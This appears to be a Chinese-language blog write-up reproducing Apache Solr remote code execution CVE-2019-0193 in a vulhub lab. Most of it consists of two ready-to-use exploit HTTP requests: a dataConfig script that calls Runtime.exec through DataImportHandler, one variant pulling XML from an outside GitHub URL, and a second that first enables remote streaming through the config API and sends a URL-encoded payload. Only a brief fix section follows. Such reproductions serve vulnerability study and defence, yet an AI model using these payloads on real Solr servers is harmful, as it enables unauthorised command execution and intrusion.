【漏洞复现】Apache Solr远程代码执行(CVE-2019-0193)

0x01 概述

Solr简介

Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞概述

此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。攻击者可利用dataConfig参数构造恶意请求,实现远程代码执行。

影响范围

Apache Solr <8.2.0

0x02 复现过程

环境搭建

启动环境

cd /vulhub/solr/CVE-2019-0193
docker-compose up -d

创建Core

docker-compose exec solr bash bin/solr create_core -c test_0nth3way -d example/example-DIH/solr/db

搭建成功

访问http://ip:8983

漏洞复现

手工验证(EXP1:需要目标出网,支持低版本检测)

(1)判断该索引库是否使用了DataImportHandler模块

a.访问 http://192.168.17.136:8983/solr/test_0nth3way/admin/mbeans?cat=QUERY&wt=json

b.如果使用了DataImportHandler模块 则HTTP响应内会有:
org.apache.solr.handler.dataimport.DataImportHandler

(2)构造HTTP请求,远程执行代码

POST /solr/test_0nth3way/dataimport HTTP/1.1
Host: 192.168.17.136:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.17.136:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test_0nth3way&name=dataimport&dataConfig=
<dataConfig>


  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

手工验证(EXP2:不需要目标出网,不支持低版本检测)

(1)判断该索引库是否使用了DataImportHandler模块(同上)

(2)修改 configoverlay.json 文件中的配置,以启用远程流的相关选项 ( enableStreamBody、 enableRemoteStreaming)  注:某些低版本会不成功,即响应500;成功响应200

POST /solr/test_0nth3way/config HTTP/1.1
Host: 192.168.17.136:8983
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

(3)构造HTTP请求,远程执行代码

POST /solr/test_0nth3way/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test_0nth3way&name=dataimport&dataConfig=%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%64%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e HTTP/1.1
Host: 192.168.17.136:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.17.136:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f


--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

注:其中dataConfig的值,URLencode之前为以下字符串

<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>

0x03 修复建议

(1)建议对Solr做访问限制

(2)厂商已发布补丁:https://issues.apache.org/jira/browse/SOLR-13669

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章